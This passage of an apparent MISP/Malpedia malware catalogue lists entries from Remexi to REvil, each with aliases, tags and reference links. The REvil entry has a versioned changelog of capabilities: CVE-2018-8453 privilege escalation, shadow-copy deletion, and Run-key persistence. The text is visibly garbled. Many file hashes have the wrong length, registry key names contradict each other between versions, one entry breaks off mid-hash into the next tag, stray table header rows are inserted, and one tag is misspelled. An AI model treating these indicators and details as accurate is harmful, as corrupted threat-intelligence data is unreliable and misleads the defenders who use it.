<td><a href="https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2">https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2</a></td>
</tr>
<tr>
<td><a href="https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/">https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities">https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities</a></td>
</tr>
</tbody>
</table>
Remexi

Remexi is a highly advanced and stealthy malware discovered in recent times. It employs sophisticated evasion techniques to infiltrate target systems and networks undetected. This malware utilizes various propagation vectors, including exploit kits, social engineering tactics, and compromised websites. Once inside a system, Remexi establishes persistence through rootkit capabilities and leverages command-and-control infrastructure to receive and execute malicious commands. It possesses keylogging and data exfiltration capabilities, enabling it to steal sensitive information such as login credentials and financial data. Additionally, Remexi can download and execute additional payloads, making it adaptable and capable of evolving its malicious activities over time.

The tag is: `misp-galaxy:malpedia=“Remexi”`

Remexi is also known as:

- CACHEMONEY

**Table 3965. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.remexi">https://malpedia.caad.fkie.fraunhofer.de/details/win.remexi</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-hickman">https://www.secureworks.com/research/threat-profiles/cobalt-hickman</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/chafer-used-remexi-malware/89538/">https://securelist.com/chafer-used-remexi-malware/89538/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/QW5kcmV3/status/1095833216605401088">https://twitter.com/QW5kcmV3/status/1095833216605401088</a></td>
</tr>
</tbody>
</table>
RemoteAdmin

The tag is: `misp-galaxy:malpedia="RemoteAdmin"`

RemoteAdmin is also known as:

Table 3966. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.remoteadmin">malpedia.caad.fkie.fraunhofer.de</a></td>
<td></td>
</tr>
</tbody>
</table>

RemoteControl

The tag is: `misp-galaxy:malpedia="RemoteControl"`

RemoteControl is also known as:

- remotecontrolclient

Table 3967. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.remotecontrolclient">malpedia.caad.fkie.fraunhofer.de</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/frozleaf/RemoteControl">github.com/frozleaf/RemoteControl</a></td>
<td></td>
</tr>
</tbody>
</table>

Remsec

The tag is: `misp-galaxy:malpedia="Remsec"`

Remsec is also known as:

Table 3968. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.remsec_strider">malpedia.caad.fkie.fraunhofer.de</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&amp;CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments">community.broadcom.com</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis-part-2.html">artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis-part-2.html</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis.html">artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis.html</a></td>
<td></td>
</tr>
<tr>
<td><a href="http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf">Symantec_Remsec_IOCs.pdf</a></td>
<td></td>
</tr>
</tbody>
</table>
**Remy**

The tag is: *misp-galaxy:malpedia="Remy"*

Remy is also known as:

- WINDSHIELD

*Table 3969. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.remy">https://malpedia.caad.fkie.fraunhofer.de/details/win.remy</a></td>
</tr>
</tbody>
</table>

**Rerdom**

The tag is: *misp-galaxy:malpedia="Rerdom"*

Rerdom is also known as:

*Table 3970. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rerdom">https://malpedia.caad.fkie.fraunhofer.de/details/win.rerdom</a></td>
</tr>
<tr>
<td><a href="https://www.coresecurity.com/sites/default/files/resources/2017/03/Behind_Malware_Infection_Chain.pdf">https://www.coresecurity.com/sites/default/files/resources/2017/03/Behind_Malware_Infection_Chain.pdf</a></td>
</tr>
</tbody>
</table>

**Retadup**

The tag is: *misp-galaxy:malpedia="Retadup"*

Retadup is also known as:

*Table 3971. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Retefe (Windows)

Retefe is a Windows Banking Trojan that can also download and install additional malware onto the system using Windows PowerShell. Its primary functionality is to assist the attacker with stealing credentials for online banking websites. It is typically targeted against Swiss banks. The malware binary itself is primarily a dropper component for a Javascript file which builds a VBA file which in turn loads multiple tools onto the host including: 7zip and TOR. The VBA installs a new root certificate and then forwards all traffic via TOR to the attacker controlled host in order to effectively MITM TLS traffic.

The tag is: misp-galaxy:malpedia="Retefe (Windows)"

Retefe (Windows) is also known as:

- Tsukuba
- Werdlod

Table 3972. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.retefe">https://malpedia.caad.fkie.fraunhofer.de/details/win.retefe</a></td>
</tr>
<tr>
<td><a href="https://github.com/cocaman/retefe">https://github.com/cocaman/retefe</a></td>
</tr>
<tr>
<td><a href="https://vulnerability.ch/2019/05/analysing-retefe-with-sysmon-and-splunk/">https://vulnerability.ch/2019/05/analysing-retefe-with-sysmon-and-splunk/</a></td>
</tr>
<tr>
<td><a href="https://github.com/Tomasuh/retefe-unpacker">https://github.com/Tomasuh/retefe-unpacker</a></td>
</tr>
<tr>
<td><a href="https://www.govcert.admin.ch/blog/33/the-retefe-saga">https://www.govcert.admin.ch/blog/33/the-retefe-saga</a></td>
</tr>
<tr>
<td><a href="https://www.govcert.admin.ch/blog/35/reversing-retefe">https://www.govcert.admin.ch/blog/35/reversing-retefe</a></td>
</tr>
</tbody>
</table>

Retro

The tag is: misp-galaxy:malpedia="Retro"

Retro is also known as:

Table 3973. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.retro">https://malpedia.caad.fkie.fraunhofer.de/details/win.retro</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/">https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/</a></td>
</tr>
</tbody>
</table>
Revenant

According to its author, Revenant is a 3rd party agent for Havoc written in C, and based on Talon. This implant is meant to expand on the Talon implant by implementing covert methods of execution, robust capabilities, and more customization.

The tag is: misp-galaxy:malpedia="Revenant"

Revenant is also known as:

Table 3974. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.revenant">https://malpedia.caad.fkie.fraunhofer.de/details/win.revenant</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/0xTriboulet/Revenant">https://github.com/0xTriboulet/Revenant</a></td>
<td></td>
</tr>
</tbody>
</table>

Revenge RAT

According to Cofense, Revenge RAT is a simple and freely available Remote Access Trojan that automatically gathers system information before allowing threat actors to remotely access system components such as webcams, microphones, and various other utilities.

The tag is: misp-galaxy:malpedia="Revenge RAT"

Revenge RAT is also known as:

- Revetrat

Table 3975. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.revenge_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.revenge_rat</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://embee-research.ghost.io/introduction-to-dotnet-configuration-extraction-revengerat/">https://embee-research.ghost.io/introduction-to-dotnet-configuration-extraction-revengerat/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://securelist.com/revengehotels/95229/">https://securelist.com/revengehotels/95229/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.uptys.com/blog/revenge-rat-targeting-users-in-south-america">https://www.uptys.com/blog/revenge-rat-targeting-users-in-south-america</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blogs.360.cn/post/APT-C-44.html">https://blogs.360.cn/post/APT-C-44.html</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/rss/22590">https://isc.sans.edu/diary/rss/22590</a></td>
<td></td>
</tr>
</tbody>
</table>
ReverseRAT

The tag is: misp-galaxy:malpedia="ReverseRAT"

ReverseRAT is also known as:

Table 3976. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.reverse_rat


https://threatmon.io/apt-sidecopy-targeting-indian-government-entities/
Reveton

Ransomware.

The tag is: mish-galaxy:malpedia="Reveton"

Reveton is also known as:

Table 3977. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.reveton">https://malpedia.caad.fkie.fraunhofer.de/details/win.reveton</a></td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/2012/08/inside-a-reveton-ransomware-operation/">https://krebsonsecurity.com/2012/08/inside-a-reveton-ransomware-operation/</a></td>
</tr>
</tbody>
</table>

REvil (Windows)

REvil Beta MD5: bed6fc04aeb78581574706239a1f243 SHA1: 3d0649b5f76dbb9f986b926afbd18ae028946f SHA256: 3641b09bf6eae22579d4fd5aae420476a134f594896694189a70afdf0326c45 * Privilege escalation via CVE-2018-8453 (64-bit only) * Rerun with RunAs to elevate privileges * Implements a requirement that if "exp" is set, privilege escalation must be successful for full execution to occur * Implements target whitelisting using GetKeyboardLayoutList * Contains debug console logging functionality * Defines the REvil registry root key as SOFTWARE\test * Includes two variable placeholders in the ransom note: UID & KEY * Terminates processes specified in the "prc" configuration key prior to encryption * Deletes shadow copies and disables recovery * Wipes contents of folders specified in the "wfld" configuration key prior to encryption * Encrypts all non-whitelisted files on fixed drives * Encrypts all non-whitelisted files on network mapped drives if it is running with System-level privileges or can impersonate the security context of explorer.exe * Partially implements a background image setting to display a basic "Image text" message * Sends encrypted system data to a C2 domain via an HTTPS POST request (URI path building is not implemented.)

REvil 1.00

MD5: 65aa793c000762174b2f86077bdafae SHA1: 95a21e764ad0c98ea3d034d293ae5511e7c8457 SHA256: f0c60f62ef9f0c44d0b4ae8cc26b971236f24a2611cb1be09ff4845c3841bc

* Adds 32-bit implementation of CVE-2018-8453 exploit
* Removes console debug logging
* Changes the REvil registry root key to SOFTWARE\recfg
* Removes the System/Impersonation success requirement for encrypting network mapped drives
* Adds a "wipe" key to the configuration for optional folder wiping
* Fully implements the background image setting and leverages values defined in the "img" configuration key
* Adds an EXT variable placeholder to the ransom note to support UID, KEY, and EXT
* Implements URI path building so encrypted system data is sent to a C2 pseudo-random URL
* Fixes the function that returns the victim's username so the correct value is placed
REvil 1.01  
MD5: 2abf29b4d87f30f011874b6e98959e9  
SHA1: 9d1b61b1c8411ee6d4664ba2561fa59c8b0932c  
SHA256: a88e2857a2f3922b44247316642f08ba8665185297e3cd958b122a83f380feb  
* Removes the exp/privilege escalation requirement for full execution and encrypts data regardless of privilege level  
* Makes encryption of network mapped drives optional by adding the "-nolan" argument

REvil 1.02  
MD5: 4af953b20f3a1f165e7cf31d6156c035  
SHA1: b859de5fcb980e4ca8e384d81a4f81e8785bb299  
SHA256: 89d80016ff4c6600e8dd8c6a1f6912a4d21c5457b4e9866d796939b48dc4  
* Enhances whitelisting validation by adding inspection of GetUserDefaultUILanguage and GetSystemDefaultUILanguage  
* Partially implements "lock file" logic by generating a lock filename based on the first four bytes of the Base64-decoded pk key, appending a .lock file extension, and adding the filename to the list of whitelisted files in the REvil configuration (It does not appear that this value is referenced after it is created and stored in memory. There is no evidence that a lock file is dropped to disk.)  
* Enhances folder whitelisting logic that take special considerations if the folder is associated with "program files" directories  
* Hard-codes whitelisting of all direct content within the Program Files or Program Files x86 directories  
* Hard-codes whitelisting of "sql" subfolders within program files  
* Encrypts program files sub-folders that does not contain "sql" in the path  
* Compares other folders to the list of whitelisted folders specified in the REvil configuration to determine if they are whitelisted  
* Encrypts stored strings used for URI building within the binary and decodes them in memory right before use  
* Introduces a REvil registry root key "sub_key" registry value containing the attacker's public key

REvil 1.03  
MD5: 3cae02306a95564b1ff4ea45a7dfe00  
SHA1: 0ce2caac5287a64138d273007b34933362901783d  
SHA256: 78fa32f179224c46ae81252c841e75ee4e80b57e6b026da0a5b07d34ec37bbf  
* Removes lock file logic that was partially implemented in 1.02  
* Leverages WMI to continuously monitor for and kill newly launched processes whose names are listed in the prc configuration key (Previous versions performed this action once.)  
* Encodes stored shellcode  
* Adds the -path argument:  
* Does not wipe folders (even if wipe == true)  
* Does not set desktop background  
* Does not contact the C2 server (even if net == true)  
* Encrypts files in the specified folder and drops the ransom note  
* Changes the REvil registry root key to SOFTWARE\QtProject\OrganizationDefaults  
* Changes registry key values from - - to:  
* sub_key - - pvg  
* pk_key - - sxsP  
* sk_key - - BDDC8  
* 0_key - - f7gVD7  
* rnd_ext - - Xu7NnkD  
* stat - - sMMnxpgk

REvil 1.04  
MD5: 6e3efb83299d800edf1624ecbc0665e7  
SHA1: 0bd2f2b404c5373f1a22d9a025f96f9f354a2cc0d  
SHA256: 2ca64feaa5ab6cf96677fbc2bc0e1995b3bc93472d7af884139aa757240e3f6
* Leverages PowerShell and WMI to delete shadow copies if the victim's operating system is newer than Windows XP (For Windows XP or older, it uses the original command that was executed in all previous REvil versions.)
* Removes the folder wipe capability
* Changes the REvil registry root key to SOFTWARE\GitForWindows
* Changes registry key values from --&gt; to:
  * pvg --&gt; QPM
  * sxsP --&gt; cMtS
  * BDCC8 --&gt; Wgg7j
  * f7gV7D --&gt; zbhs8h
  * Xu7Nnk5d --&gt; H85TP10
  * sMMnxp6gk --&gt; GCZg2PX

REvil v1.05 MD5: cfecc2edc5c54c74b76e7d1d29e69b2 SHA1: 7423c57db390def08154b77e2b5e043d92d320c7
* Add new 'arn' configuration key that contains a boolean true/false value that controls whether or not to implement persistence. * Implements persistence functionality via registry Run key. Data for value is set to the full path and filename of the currently running executable. The executable is never moved into any 'working directory' such as %AppData% or %TEMP% as part of the persistence setup. The Reg Value used is the hardcoded value of 'lNOWZyAWVv': SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lNOWZyAWVv * Before exiting, REvil sets up its malicious executable to be deleted upon reboot by issuing a call to MoveFileExW and setting the destination to NULL and the flags to 4 (MOVEFILE_DELAY_UNTIL_REBOOT). This breaks persistence however as the target executable specified in the Run key will no longer exist once this is done. * Changes registry key values from --&gt; to: * QPM --&gt; tgE * cMtS --&gt; 8K09 * Wgg7j --&gt; xMtNc * zbhs8h --&gt; CTgE4a * H85TP10 --&gt; oE5bZg0 * GCZg2PX --&gt; DC408Qp4

REvil v1.06 MD5: 65ff37973426c09b9ff9f354e62959e SHA1: b53bc09cfbd292a7f5b3609734a99d101bd24d77e
* Updated string decoding function to break existing yara rules. Likely the result of the blog posted by us.
* Modified handling of network file encryption. Now explicitly passes every possible "Scope" constant to the WNetOpenEnum function when looking for files to encrypt. It also changed the 'Resource Type' from RESOURCETYPE_DISK to RESOURCETYPE_ANY which will now include things like mapped printers.
* Persistence registry value changed from 'lNOWZyAWVv' to 'sNpEShi30R'
* Changes registry key values from --&gt; to:
  * tgE --&gt; 73g
  * 8K09 --&gt; vTgj
  * xMtNc --&gt; Q7PZe
  * CTgE4a --&gt; BuCrIp
  * oE5bZg0 --&gt; lCz7d70Y
  * DC408Qp4 --&gt; sLF86MWC

REvil v1.07 MD5: ea4cae3d6d8150215a4d90593a4c30f2 SHA1: 1764
The tag is: `misp-galaxy:malpedia="REvil (Windows)"

REvil (Windows) is also known as:

- Sodin
- Sodinokibi

Table 3978. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.revil">https://malpedia.caad.fkie.fraunhofer.de/details/win.revil</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/">https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/</a></td>
</tr>
<tr>
<td><a href="https://www.acronis.com/en-sg/articles/sodinokibi-ransomware/">https://www.acronis.com/en-sg/articles/sodinokibi-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/2019/07/is-revil-the-new-gandcrab-ransomware/">https://krebsonsecurity.com/2019/07/is-revil-the-new-gandcrab-ransomware/</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>--------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/revil-ransomware-reemerges-after-shutdown-universal-decryptor-released">https://www.secureworks.com/blog/revil-ransomware-reemerges-after-shutdown-universal-decryptor-released</a></td>
</tr>
<tr>
<td><a href="https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html">https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html</a></td>
</tr>
<tr>
<td><a href="https://www.bbc.com/news/technology-59297187">https://www.bbc.com/news/technology-59297187</a></td>
</tr>
<tr>
<td><a href="https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf">https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf</a></td>
</tr>
<tr>
<td><a href="https://cybleinc.com/2021/07/03/uncensored-interview-with-revil-sodinokibi-ransomware-operators/">https://cybleinc.com/2021/07/03/uncensored-interview-with-revil-sodinokibi-ransomware-operators/</a></td>
</tr>
<tr>
<td><a href="https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/">https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html">https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html</a></td>
</tr>
<tr>
<td><a href="https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf">https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf</a></td>
</tr>
<tr>
<td><a href="https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/">https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/</a></td>
</tr>
<tr>
<td><a href="https://ibm.ent.box.com/s/hs5pcayhbbhvj8di5sqdpbdd88tsh89">https://ibm.ent.box.com/s/hs5pcayhbbhvj8di5sqdpbdd88tsh89</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/resecurity_com/status/1412662343796813827">https://twitter.com/resecurity_com/status/1412662343796813827</a></td>
</tr>
<tr>
<td><a href="https://www.europol.europa.eu/newsroom/news/five-affiliates-to-sodinokibi/revil-unplugged">https://www.europol.europa.eu/newsroom/news/five-affiliates-to-sodinokibi/revil-unplugged</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=LUxOcpIRxmg">https://www.youtube.com/watch?v=LUxOcpIRxmg</a></td>
</tr>
<tr>
<td><a href="https://www.flashpoint-intel.com/blog/chatter-indicates-blackmatter-as-revil-successor/">https://www.flashpoint-intel.com/blog/chatter-indicates-blackmatter-as-revil-successor/</a></td>
</tr>
<tr>
<td><a href="https://www.flashpoint-intel.com/blog/interview-with-revil-affiliated-ransomware-contractor/">https://www.flashpoint-intel.com/blog/interview-with-revil-affiliated-ransomware-contractor/</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/">https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/</a></td>
</tr>
<tr>
<td><a href="https://diicot.ro/mass-media/3341-comunicat-de-presa-2-08-11-2021">https://diicot.ro/mass-media/3341-comunicat-de-presa-2-08-11-2021</a></td>
</tr>
<tr>
<td><a href="https://storage.courtlister.com/recap/gov.uscourts.txnd.352371/gov.uscourts.txnd.352371.1.0_1.pdf">https://storage.courtlister.com/recap/gov.uscourts.txnd.352371/gov.uscourts.txnd.352371.1.0_1.pdf</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>-------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.netskope.com/blog/netskope-threat-coverage-revil">https://www.netskope.com/blog/netskope-threat-coverage-revil</a></td>
</tr>
<tr>
<td><a href="https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/">https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/LloydLabs/status/1411098844209819648">https://twitter.com/LloydLabs/status/1411098844209819648</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/threat-brief-kaseya-vsa-ransomware-attacks/">https://unit42.paloaltonetworks.com/threat-brief-kaseya-vsa-ransomware-attacks/</a></td>
</tr>
<tr>
<td><a href="https://dissectingmalwa.re/germanwipers-big-brother-gandgrabs-kid-sodinokibi.html">https://dissectingmalwa.re/germanwipers-big-brother-gandgrabs-kid-sodinokibi.html</a></td>
</tr>
<tr>
<td><a href="https://www.flashpoint-intel.com/blog/possible-universal-revil-master-key-posted-to-xss/">https://www.flashpoint-intel.com/blog/possible-universal-revil-master-key-posted-to-xss/</a></td>
</tr>
<tr>
<td><a href="https://blog.truesec.com/2021/07/06/kaseya-vsa-zero-day-exploit">https://blog.truesec.com/2021/07/06/kaseya-vsa-zero-day-exploit</a></td>
</tr>
<tr>
<td><a href="https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023">https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023</a></td>
</tr>
<tr>
<td><a href="https://kaseya.app.box.com/s/0ysvgss7w48nxh8k1xt7fqhbckxhas40">https://kaseya.app.box.com/s/0ysvgss7w48nxh8k1xt7fqhbckxhas40</a></td>
</tr>
<tr>
<td><a href="https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b">https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/ko/19860/">https://asec.ahnlab.com/ko/19860/</a></td>
</tr>
<tr>
<td><a href="https://www.grahamcluley.com/travelex-paid-ransom/">https://www.grahamcluley.com/travelex-paid-ransom/</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/">https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>--------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself">https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/prometheus-ransomware/">https://unit42.paloaltonetworks.com/prometheus-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware">https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware</a></td>
</tr>
<tr>
<td><a href="https://www.br.de/nachrichten/deutschland-welt/mutmasslicher-ransomware-milliarde-identifiziert,Sn3iHgJ">https://www.br.de/nachrichten/deutschland-welt/mutmasslicher-ransomware-milliarde-identifiziert,Sn3iHgJ</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/revil-ransomware-attack-on-msp-companies/103075/">https://securelist.com/revil-ransomware-attack-on-msp-companies/103075/</a></td>
</tr>
<tr>
<td><a href="https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf">https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.ironnet.com/blog/ransomware-graphic-blog">https://www.ironnet.com/blog/ransomware-graphic-blog</a></td>
</tr>
<tr>
<td><a href="https://www.flashpoint-intel.com/blog/darkside-ransomware-links-to-revil-difficult-to-dismiss/">https://www.flashpoint-intel.com/blog/darkside-ransomware-links-to-revil-difficult-to-dismiss/</a></td>
</tr>
<tr>
<td><a href="https://www.bankinfosecurity.com/interviews/ransomware-files-episode-6-kaseya-revil-i-5045">https://www.bankinfosecurity.com/interviews/ransomware-files-episode-6-kaseya-revil-i-5045</a></td>
</tr>
<tr>
<td>Website</td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/">https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/</a></td>
</tr>
<tr>
<td><a href="https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/">https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/</a></td>
</tr>
<tr>
<td><a href="https://thehackernews.com/2022/03/ukrainian-hacker-linked-to-revil.html">https://thehackernews.com/2022/03/ukrainian-hacker-linked-to-revil.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/Jacob_Pimental/status/13910557927774729728">https://twitter.com/Jacob_Pimental/status/13910557927774729728</a></td>
</tr>
<tr>
<td><a href="https://ke-la.com/will-the-revils-story-finally-be-over/">https://ke-la.com/will-the-revils-story-finally-be-over/</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/blog/elastic-security-prevents-100-percent-of-revil-ransomware-samples?utm_content=&amp;utm_medium=social&amp;utm_source=twitter">https://www.elastic.co/blog/elastic-security-prevents-100-percent-of-revil-ransomware-samples?utm_content=&amp;utm_medium=social&amp;utm_source=twitter</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/AdamTheAnalyst/status/1409499591452639242?s=20">https://twitter.com/AdamTheAnalyst/status/1409499591452639242?s=20</a></td>
</tr>
<tr>
<td><a href="https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/">https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/</a></td>
</tr>
<tr>
<td>Source</td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://twitter.com/VK_Intel/status/1374571480370061312?s=20">https://twitter.com/VK_Intel/status/1374571480370061312?s=20</a></td>
</tr>
<tr>
<td><a href="https://www.kaseya.com/potential-attack-on-kaseya-vsa/">https://www.kaseya.com/potential-attack-on-kaseya-vsa/</a></td>
</tr>
<tr>
<td><a href="https://www.huntandhackett.com/blog/revil-the-usage-of-eligible-remote-admin-tooling">https://www.huntandhackett.com/blog/revil-the-usage-of-eligible-remote-admin-tooling</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/R3MRUM/status/1412064882623713283">https://twitter.com/R3MRUM/status/1412064882623713283</a></td>
</tr>
<tr>
<td><a href="https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound">https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound</a></td>
</tr>
<tr>
<td><a href="https://www.fbi.gov/wanted/cyber/yevgyeni-igoryevich-polyanin">https://www.fbi.gov/wanted/cyber/yevgyeni-igoryevich-polyanin</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/how-falcon-complete-thwarted-a-revil-ransomware-attack/">https://www.crowdstrike.com/blog/how-falcon-complete-thwarted-a-revil-ransomware-attack/</a></td>
</tr>
<tr>
<td><a href="https://www.flashpoint-intel.com/blog/revil-disappears-again/">https://www.flashpoint-intel.com/blog/revil-disappears-again/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/SyscallE/status/1411074271875670022">https://twitter.com/SyscallE/status/1411074271875670022</a></td>
</tr>
<tr>
<td><a href="https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/">https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/revil-sodinokibi-ransomware">https://www.secureworks.com/research/revil-sodinokibi-ransomware</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=l2P5CMH9TE0">https://www.youtube.com/watch?v=l2P5CMH9TE0</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>---</td>
</tr>
<tr>
